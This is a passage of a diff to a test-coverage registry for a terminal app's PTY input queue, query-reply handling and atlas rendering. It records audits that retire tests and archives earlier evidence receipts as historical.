"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts", - "assertions": ["splits one large UTF-8 input without splitting a code point"] - }, - { - "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts", - "assertions": [ - "viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames" - ] - }, - { - "file": "src/shared/terminal/protocol/queries/terminal-query-reply.test.ts", - "assertions": [ - "only complete query replies are classified and consecutive mixed reply kinds extract losslessly" - ] - }, - { - "file": "src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts", - "assertions": [ - "repeated live query replies are delivered independently and their cooked echoes stay hidden" - ] - }, - { - "file": "tests/e2e/terminal-osc-color-queries.spec.ts", - "assertions": [ - "real Electron xterm OSC 10/11 replies reach the active local PTY as separate writes" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-09", - "runner": "local", - "platform": "macos", - "command": "pnpm exec playwright test tests/e2e/terminal-osc-color-queries.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 13.2, - "summary": "The real Electron/xterm OSC 10/11 query path wrote the exact foreground and background replies separately to the active local PTY." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Reduced unit oracles are limited to queue refusal after drain failure, active/pending cancellation on clear or reentrant clear, predecessor accepted-write cancellation with captured-byte replay by a successor, accepted-write cancellation on natural exit, and UTF-8 code-point-safe remote splitting. Untouched query classification/ingress and viewport-frame sources keep their own surviving assertions. Immediate-query/pending-input separation, asynchronous-paste ordering and remote validation-barrier or oversized-input nondelivery no longer have the retired direct alarms. Existing local Electron receipts remain scoped to their exact original commands and do not validate reduced unit bytes. No equivalent replacement or fresh execution is claimed.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 120, - "scope": "Historical pre-audit combined-selector budget; reduced unit selectors have no new runtime measurement. Unchanged local Electron receipts retain their exact durations." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit combined-selector budget; reduced unit selectors have no new runtime measurement. Unchanged local Electron receipts retain their exact durations." }, "flakeHistory": { - "status": "unknown", - "evidence": "Reduced unit selectors have no new soak result after Audit1878; unchanged local Electron receipts apply only to their original commands. Historical account: Ten consecutive local unit-gate runs passed 1,380 tests in 29.57 seconds total with no fixed timing sleeps. The exact Docker SSH OSC oracle passed three consecutive runs before extraction and then passed both registered full-spec runs. The upstream-node-pty fish handoff oracle passed three local runs, including the final post-rebase run. CI and the normal soak window are not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Reduced unit selectors have no new soak result after Audit1878; unchanged local Electron receipts apply only to their original commands. Historical account: Ten consecutive local unit-gate runs passed 1,380 tests in 29.57 seconds total with no fixed timing sleeps. The exact Docker SSH OSC oracle passed three consecutive runs before extraction and then passed both registered full-spec runs. The upstream-node-pty fish handoff oracle passed three local runs, including the final post-rebase run. CI and the normal soak window are not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "No fresh intentional-break proof validates the reduced queue, IPC or remote-batching selectors or the retired immediate query-reply alarms. Original partial account is archived verbatim in knownGaps. The unchanged local Electron receipts retain only their original scopes." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: No fresh intentional-break proof validates the reduced queue, IPC or remote-batching selectors or the retired immediate query-reply alarms. Original partial account is archived verbatim in knownGaps. The unchanged local Electron receipts retain only their original scopes." }, "performanceBudget": { "required": true, - "evidence": "No fresh work-bound or timing measurement validates the reduced unit selectors. Original implementation/flood/queue performance account is historical and archived verbatim in knownGaps. The two unchanged local macOS Electron receipts retain their exact durations and command scopes only; no replacement performance result is claimed." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. No fresh work-bound or timing measurement validates the reduced unit selectors. Original implementation/flood/queue performance account is historical and archived verbatim in knownGaps. The two unchanged local macOS Electron receipts retain their exact durations and command scopes only; no replacement performance result is claimed." }, "promotionCriteria": [ "Run the gate on Windows and Linux CI.", @@ -11021,6 +9705,11 @@ "Audit3362 retires the 10,000-query newest64 viewport-claim flood-cap assertion and second-chunk refusal, coalescing/burst/limit/yield and constant examples. The surviving ordinary/query/ordinary binary-frame ordering and UTF8 emoji-safe acknowledged chunk cases retain narrower coverage. Unit commands/test-file selectors remain; the first binary-order assertion stays exact. Two unrelated macOS E2E receipts remain verbatim with their original scope. No equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed.", "Audit3362 historical original assertionRefs object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n{\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"assertions\": [\n \"viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames\",\n \"a 10,000-reply viewport-claim flood retains and replays only the newest 64 query replies\"\n ]\n }", "Input/terminal layout cleanup retires the complete immediate query-reply test and narrows the input queue, IPC input-write and remote batching Programs. Retained queue oracles cover public failure/refusal and clear/reentrant-clear cancellation; retained IPC oracles cover predecessor cancellation with successor replay and natural-exit accepted-write cancellation; remote batching retains UTF-8 code-point-safe splitting only. Intentionally lost alarms include accepted-input invocation ordering/single-drain marker checks, validation fencing/stale-drain recovery, IPC preconnect/attach/exit callback and ordinary-tail examples, remote validation-barrier/oversize nondelivery, and pending ordinary or asynchronously validated paste before an immediate query reply. The other sources do not provide equivalent replacement coverage. The two unchanged local macOS Electron receipts retain their exact original commands, durations and scope; neither validates these reduced unit selectors. No fresh runtime, PTY/provider/UI, remote/mobile, mixed-version, cross-platform, red/green, soak or measured-budget result is claimed.\nHistorical original changed fields (verbatim JSONC value bytes; not current coverage or validation):\n{\n\"coverageNotes\": \"Audit3362 retires the 10,000-query newest64 viewport-claim flood-cap assertion and second-chunk refusal, coalescing/burst/limit/yield and constant examples. The surviving ordinary/query/ordinary binary-frame ordering and UTF8 emoji-safe acknowledged chunk cases retain narrower coverage. Unit commands/test-file selectors remain; the first binary-order assertion stays exact. Two unrelated macOS E2E receipts remain verbatim with their original scope. No equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3312 reduces remote-runtime-pty-batching.test.ts, intentionally losing idle leading/trailing coalescing, leading-edge-disabled, accumulated byte-ceiling flush, standalone synchronous oversized-input rejection, accepted-input validation yield, deferred pending-tail byte order, and queued-viewport clear/flush and timer-cancellation alarms. The unchanged UTF-8 splitting, validation barrier ordering and asynchronous oversized-input nondelivery cases are narrower, not equivalent replacements. The barrier assertion and both existing Electron receipts remain unchanged and do not validate these retired cases. No fresh runtime, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3292 retires the empty-queue immediate query-reply delivery example from remote-runtime-pty-query-reply-immediate.test.ts. Pending ordinary-input separation and asynchronous paste-validation ordering cases remain byte-identical, matching the existing assertion reference. The no-pending-input delivery alarm is intentionally lost without equivalent replacement. Existing selectors, unchanged local Electron receipts and historical receipts remain exact; no new runtime, PTY deadline, platform or mixed-version result is claimed. Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed. Audit1878 retires the dated reduced-source unit receipt. Only the unchanged macOS local Electron receipts remain current, scoped to their exact commands; reduced unit selectors and SSH have no current execution receipt. Historical pre-audit coverageNotes: Deterministic renderer and IPC-transport tests prove count and text ceilings, oldest-reply shedding, explicit query-reply source routing, ordinary-input preservation, acknowledged-write FIFO barriers, single-worker drain reentrancy, one-reply-per-write delivery for OSC, DA1, and CPR replies, real xterm OSC reply generation, drain-failure containment, teardown settlement, and clear/reuse generation fencing. Remote-runtime tests preserve separate query-reply writes across pending input, async validation, and viewport-claim buffering. Host-contract tests prove a later DA1/CPR reply cannot overtake a deferred OSC reply, including a coalesced legacy-client payload. Live macOS Electron tests cover local PTY OSC replies and interactive typing; a macOS-hosted Docker OpenSSH test proves an upstream-node-pty Linux relay keeps OSC/DA1 replies out of the next fish child's stdin. No live daemon, paired-runtime, WSL, physical Linux/Windows client, or binary mixed-version run is registered.\",\n\"oracle\": \"Audit3362 retires the 10,000-query newest64 viewport-claim flood-cap assertion and second-chunk refusal, coalescing/burst/limit/yield and constant examples. The surviving ordinary/query/ordinary binary-frame ordering and UTF8 emoji-safe acknowledged chunk cases retain narrower coverage. Unit commands/test-file selectors remain; the first binary-order assertion stays exact. Two unrelated macOS E2E receipts remain verbatim with their original scope. No equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3312 reduces remote-runtime-pty-batching.test.ts, intentionally losing idle leading/trailing coalescing, leading-edge-disabled, accumulated byte-ceiling flush, standalone synchronous oversized-input rejection, accepted-input validation yield, deferred pending-tail byte order, and queued-viewport clear/flush and timer-cancellation alarms. The unchanged UTF-8 splitting, validation barrier ordering and asynchronous oversized-input nondelivery cases are narrower, not equivalent replacements. The barrier assertion and both existing Electron receipts remain unchanged and do not validate these retired cases. No fresh runtime, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3292 retires the empty-queue immediate query-reply delivery example from remote-runtime-pty-query-reply-immediate.test.ts. Pending ordinary-input separation and asynchronous paste-validation ordering cases remain byte-identical, matching the existing assertion reference. The no-pending-input delivery alarm is intentionally lost without equivalent replacement. Existing selectors, unchanged local Electron receipts and historical receipts remain exact; no new runtime, PTY deadline, platform or mixed-version result is claimed. Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed. Audit1878 retires the dated reduced-source unit receipt. Only the unchanged macOS local Electron receipts remain current, scoped to their exact commands; reduced unit selectors and SSH have no current execution receipt. Historical pre-audit oracle: Synchronously enqueue separate 10,000-entry OSC and DA1 reply floods before the scheduled drain and assert that only the initial immediate reply and newest 64 pending replies are written, each as one provider write, before a trailing keystroke. Stall an acknowledged write between earlier and later ordinary/reply input, then require teardown to settle it and same-id reuse to receive no stale tail. Reenter the queue synchronously from an acknowledged write with both enqueue and clear/reuse, requiring one drain and fresh input delivery only after the stale acknowledged write settles false. At the host boundary, defer an OSC reply and assert that separate or legacy-coalesced DA1/CPR replies flush after it in observed query order. At the remote-runtime boundary, preserve separate writes around pending ordinary input, async validation, and viewport-claim buffering. Repeat behind 10,000 ordinary inputs and exercise the text ceiling, real xterm generation, provider-write failure, rejected yield, and clear/reuse generation fencing.\",\n\"commands\": [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts src/shared/terminal/protocol/queries/terminal-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"pnpm exec playwright test tests/e2e/terminal-osc-color-queries.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec playwright test tests/e2e/terminal-typing-latency.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ],\n\"testFiles\": [\n \"src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"src/shared/terminal/protocol/queries/terminal-query-reply.test.ts\",\n \"src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts\",\n \"src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\n \"tests/e2e/terminal-osc-color-queries.spec.ts\",\n \"tests/e2e/terminal-typing-latency.spec.ts\"\n ],\n\"assertionRefs\": [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts\",\n \"assertions\": [\n \"provider-write and yield failures settle without unhandled rejection, repeated same-generation admission, or stale-generation clearing\",\n \"clear fences in-flight validation before later input\",\n \"acknowledged input is serialized between earlier and later ordinary/reply writes\",\n \"clear settles active and pending acknowledged input before same-id queue reuse\",\n \"reentrant enqueue cannot start a second drain worker past an unacknowledged write\",\n \"reentrant clear captures the stale cancellation and continues draining fresh input\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts\",\n \"assertions\": [\n \"deferred preconnect validation preserves queued bytes before later accepted, ordinary, and immediate input\",\n \"natural exit settles active acknowledged input and fences ordinary and accepted stale chunks before same-id reuse\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts\",\n \"assertions\": [\n \"a validation barrier runs after earlier deferred input and before later input\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts\",\n \"assertions\": [\n \"pending ordinary input and asynchronously validated paste stay ahead of but separate from an immediate query reply\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"assertions\": [\n \"viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames\"\n ]\n },\n {\n \"file\": \"src/shared/terminal/protocol/queries/terminal-query-reply.test.ts\",\n \"assertions\": [\n \"only complete query replies are classified and consecutive mixed reply kinds extract losslessly\"\n ]\n },\n {\n \"file\": \"src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts\",\n \"assertions\": [\n \"repeated live query replies are delivered independently and their cooked echoes stay hidden\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-osc-color-queries.spec.ts\",\n \"assertions\": [\n \"real Electron xterm OSC 10/11 replies reach the active local PTY as separate writes\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-typing-latency.spec.ts\",\n \"assertions\": [\n \"real keyboard input reaches and echoes from the active local PTY within the interactive latency ceilings\"\n ]\n }\n ],\n\"redGreenEvidence\": {\n \"status\": \"partial\",\n \"evidence\": \"Without the branch's admission cap, the 10,000-reply fixture writes all replies before the trailing keystroke. Before the source-routing repair, the queue had no API capable of distinguishing reply-shaped ordinary input; before failure containment, a thrown provider write rejected waitForDrain and Vitest recorded an unhandled rejection; the first containment pass retried a failed generation and invoked recovery twice; before generation fencing, a rejected stale yield cleared fresh input. Before reentrancy fencing, a synchronous accepted-write callback started a second drain that falsely accepted the pending write; clear/reuse also captured the replacement generation's cancellation and stranded fresh input. No saved intentional-break artifact is attached yet.\"\n },\n\"performanceBudget\": {\n \"required\": true,\n \"evidence\": \"Pending query replies are capped at 64 and 4096 UTF-16 code units. Explicit source routing and separate sequence-merged FIFOs keep ordinary input out of the fixed-size reply store; oldest-reply eviction uses an amortized O(1) head advance without scanning ordinary input, consumed prefixes compact at a fixed threshold, and drain coalescing reads the stored classification without repeated reply-regex scans. Separate synchronous OSC and DA1 floods forward only the immediate first and newest 64 replies before the trailing key, and the remote-runtime viewport-claim buffer likewise retains only the newest 64 query segments while coalescing adjacent ordinary input. The sync ECHO probe removes an `stty` subprocess from the common quiet-query path and the fallback adds no polling beyond the existing bounded ECHO probe.\"\n }\n}", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-09\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/terminal-osc-color-queries.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 13.2,\n \"summary\": \"The real Electron/xterm OSC 10/11 query path wrote the exact foreground and background replies separately to the active local PTY.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-09\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm exec playwright test tests/e2e/terminal-typing-latency.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 10.6,\n \"summary\": \"Real keyboard events traversed xterm and the input queue to a local interactive PTY with every sampled key echoed inside the latency ceiling.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts src/shared/terminal/protocol/queries/terminal-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"pnpm exec playwright test tests/e2e/terminal-osc-color-queries.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec playwright test tests/e2e/terminal-typing-latency.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"src/shared/terminal/protocol/queries/terminal-query-reply.test.ts\",\n \"src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts\",\n \"src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\n \"tests/e2e/terminal-osc-color-queries.spec.ts\",\n \"tests/e2e/terminal-typing-latency.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts\",\n \"assertions\": [\n \"a drain failure rejects later input until clear permits queue reuse\",\n \"reentrant clear rejects active accepted input while allowing fresh input to drain\",\n \"clear settles active and pending accepted input false before same-id queue reuse\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts\",\n \"assertions\": [\n \"destroying the predecessor rejects its accepted write while the successor replays captured bytes\",\n \"natural exit rejects stale accepted chunks before same-id queue reuse\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts\",\n \"assertions\": [\"splits one large UTF-8 input without splitting a code point\"]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n \"assertions\": [\n \"viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames\"\n ]\n },\n {\n \"file\": \"src/shared/terminal/protocol/queries/terminal-query-reply.test.ts\",\n \"assertions\": [\n \"only complete query replies are classified and consecutive mixed reply kinds extract losslessly\"\n ]\n },\n {\n \"file\": \"src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts\",\n \"assertions\": [\n \"repeated live query replies are delivered independently and their cooked echoes stay hidden\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-osc-color-queries.spec.ts\",\n \"assertions\": [\n \"real Electron xterm OSC 10/11 replies reach the active local PTY as separate writes\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-typing-latency.spec.ts\",\n \"assertions\": [\n \"real keyboard input reaches and echoes from the active local PTY within the interactive latency ceilings\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts src/shared/terminal/protocol/queries/terminal-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\"pnpm exec playwright test tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"],\"testFiles\":[\"src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\"src/shared/terminal/protocol/queries/terminal-query-reply.test.ts\",\"src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts\",\"src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\"tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts\",\"assertions\":[\"a drain failure rejects later input until clear permits queue reuse\",\"reentrant clear rejects active accepted input while allowing fresh input to drain\",\"clear settles active and pending accepted input false before same-id queue reuse\"]},{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts\",\"assertions\":[\"destroying the predecessor rejects its accepted write while the successor replays captured bytes\",\"natural exit rejects stale accepted chunks before same-id queue reuse\"]},{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts\",\"assertions\":[\"splits one large UTF-8 input without splitting a code point\"]},{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\"assertions\":[\"viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames\"]},{\"file\":\"src/shared/terminal/protocol/queries/terminal-query-reply.test.ts\",\"assertions\":[\"only complete query replies are classified and consecutive mixed reply kinds extract losslessly\"]},{\"file\":\"src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts\",\"assertions\":[\"repeated live query replies are delivered independently and their cooked echoes stay hidden\"]},{\"file\":\"tests/e2e/terminal/lifecycle/terminal-osc-color-queries.spec.ts\",\"assertions\":[\"real Electron xterm OSC 10/11 replies reach the active local PTY as separate writes\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"No fresh intentional-break proof validates the reduced queue, IPC or remote-batching selectors or the retired immediate query-reply alarms. Original partial account is archived verbatim in knownGaps. The unchanged local Electron receipts retain only their original scopes.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Reduced unit selectors have no new soak result after Audit1878; unchanged local Electron receipts apply only to their original commands. Historical account: Ten consecutive local unit-gate runs passed 1,380 tests in 29.57 seconds total with no fixed timing sleeps. The exact Docker SSH OSC oracle passed three consecutive runs before extraction and then passed both registered full-spec runs. The upstream-node-pty fish handoff oracle passed three local runs, including the final post-rebase run. CI and the normal soak window are not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":120,\"scope\":\"Historical pre-audit combined-selector budget; reduced unit selectors have no new runtime measurement. Unchanged local Electron receipts retain their exact durations.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"No fresh work-bound or timing measurement validates the reduced unit selectors. Original implementation/flood/queue performance account is historical and archived verbatim in knownGaps. The two unchanged local macOS Electron receipts retain their exact durations and command scopes only; no replacement performance result is claimed.\"}}", "Retired benchmark receipt (Audit7378; historical only): {\"date\":\"2026-08-09\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec playwright test tests/e2e/terminal-typing-latency.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\"result\":\"passed\",\"durationSeconds\":10.6,\"summary\":\"Real keyboard events traversed xterm and the input queue to a local interactive PTY with every sampled key echoed inside the latency ceiling.\"}" ], "demotionRule": "Keep experimental or revert if ordinary input is evicted, pending replies exceed either ceiling, retained replies are coalesced, a trailing key sits behind more than the bounded reply window, or the gate develops unexplained flakes." @@ -11293,7 +9982,7 @@ "id": "terminal-render.atlas-recovery-fanout", "title": "Ordinary terminal output avoids shared atlas recovery fanout", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-rendering", "layer": "renderer-unit-and-electron", "surfaces": [ @@ -11305,64 +9994,35 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "remote-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account 